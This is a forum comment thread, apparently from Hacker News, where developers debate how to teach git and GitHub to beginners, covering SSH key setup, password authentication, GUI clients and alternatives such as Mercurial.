I feel that PyCharm's Git client is just as graphical/easy to use as TortoiseHg was. Version control shouldn't need the command line, it should all be pretty trees. That's the only thing I really preferred about Mercurial. I liked mq patches, but PyCharm's shelf beats the pants off them.
gmueckl 5y ago
All this git cargo culting among software developers isn't helping. The state of version control hasn't progressed in over a decade when there is clearly room for lots of meaningful improvements. I am not even sure whether git is effectively a regression in disguise.

csmpltn 5y ago

> "Such a simple idea required introducing the terminal, basic terminal commands, GitHub, git and its most common commands. It took about 3 hours for us to get through just the most basic pieces." I don't get this. "Can you imagine? Learning to program a computer took us some hours!" What do you expect? That people without prior knowledge or experience just pick up source control in seconds? I'm honestly wondering - what makes you think source control systems are so trivial? Is it really too much to ask a newcomer to invest some hours into learning something these days?

caslon 5y ago
...they are so trivial that they can be figured out in less than three hours. Mercurial can be learned in minutes. Fossil in half an hour. Even git isn't particularly difficult; you can get "working knowledge" of it by glancing at this: https://git-send-email.io https://git-send-email.io
- Clewza313 5y ago
  You can learn Mercurial in three minutes if you have a background in command line administration and source control. But in a past life I have on several occasions found myself trying to train enterprises on how to use basic source control (as opposed to, say, SSHing into production systems manually and cp config.xml config.xml.bak), and failing to get the message through.
yunohn 5y ago
> what makes you think source control systems are so trivial? The commenter is referring to the tooling around git, wasting valuable teaching time. For example, most people will only ever have one ssh key on their device. Having to setup the keyring, and keeping aware of its nuances, is a waste of time.
moss2 5y ago
You're right. A subject being difficult to master means we should do everything we can to make it difficult to learn too.

toastal 5y ago

Why are we always teaching Git in the context of GitHub though? There HSA to be a simpler, more platform agnostic way.

echohack5 5y ago
Warning, snarky opinion ahead: because git has terrible cli operations that only make sense to people who under reflog and rebase and the underpinnings of git as opposed to any sort of file-based operations, which is how most people understand computers. Github looks and behaves like a filesystem with a timeline, which is not accurate to how git works functionally, but that's what makes sense to most people out of the box
- toastal 5y ago
  Sure, but churning out students on a singular, closed-source, megacorp-owned platform isn't the right thing to do either.
hiimshort 5y ago
This is a great question and one that I have been asking for quite some time. Many tutorials and guides make the mistake of conflating git with GitHub to the point that many new learners think GitHub is git. When I teach git, I make it very clear that GitHub is one of many services you could use. For our purposes, we're using it because GitHub is quite popular and is a familiar place to look when interviewing with a potential employer. But I stress that there are other options (eg. I host my own instance of Gitea).

cush 5y ago

> How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development? Use literally any GUI. Alternatively, press '.'

raxxorrax 5y ago

I think shutting down password auth is a mistake, especially if you look at MS services and where they stand now. Authenticating against their Graph API is such a hassle that we just skipped its inclusion in some of our projects because we just don't have the dev time available for allocation. While it is fine to require better auth, it should be in the hands of users. Otherwise adoption is severely endangered. That said, Github is an extremely juicy target for someone trying to inject code in a lot of codebases without anyone noticing. So popular repos should certainly make use of it.

dheera 5y ago

What can we do? Automate all of it in a nice interface that does everything for you. Make it as easy as certbot is now. Something like this, perhaps? $ git add-ssh-key github.com Checking for ssh key ... not found Generating ssh key for you (ssh-keygen -t rsa)... done Enter username for github.com: alberteinstein Enter account password for alberteinstein@github.com: ********** Touch your Yubikey now: <beep> Uploading public key ... done Welcome to Github! $ git clone git@github.com:username/someprivaterepo

tialaramex 5y ago

You're not going to be able to avoid that ssh-keygen step. "Pick a huge random number, this is a private key, you must never tell anybody else this key" is a fundamental operation. If they've never done this operation, that's more telling us how bad a job we did securing everything else than a problem with software development. If the argument was, "But my users all have perfectly nice long term private keys for some other system" then we could leverage that to get keys to make GitHub work, but in reality that's not the case. SSH keys are likely the most common private key† full stop even though they're only needed to do the 21st century equivalent of telnet † For people anyway, for machines Let's Encrypt means there are an eye-watering number of new private keys minted each day by Certbot and similar tools.

resonious 5y ago

Part of me wants to ask, why even use GitHub if you're struggling with "projects" and "ssh keys"? Just write code and run it on your machine. You can even just use git on your own machine without GitHub. BUT, at the same time, I agree with you that the process of getting set up with GitHub is suboptimal. Have you used Heroku with git before? You run "heroku login" in the console, which then opens your browser. You sign in on the browser like normal and then the CLI magically knows who you are. You can then push and pull from heroku remotes with 0 friction. Maybe the GitHub CLI could/does have a feature like that.

erfgh 5y ago

Why do we need a more gentle learning curve? Let them figure it out as everyone else did. There's more than enough information online.

hiimshort 5y ago
Development doesn't have tk be hard or confusing. A large amount of the complexity that is introduced is wholly unnecessary. Why wouldn't we want to make it easier for people to learn things?

dragonwriter 5y ago

> How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development? Those aren't goals that are in tension, but rather have pretty similar solutions.. The way for real projects to consistently follow the appropriate set of best practices applicable to their specific use case is for the project team to (1) identify what the appropriate practices are, (2) define workflows around them, and (3) build (or adopt existing, if available) tooling that wraps low level plumbing to implement the project workflows. The way to offer a more gentle learning curve for budding developers is to...leave learning the details of low-level infrastructure tools for later, and to use workflow tools adapted for the project they are working on (whether its a real project or something one that is strictly pedagogical.)

WhyNotHugo 5y ago

I don't think newcomers use this anyway; usually you start off setting up git with ssh key-based authentication, not password-based. That's exactly why git is a bit of a pain to initially set up.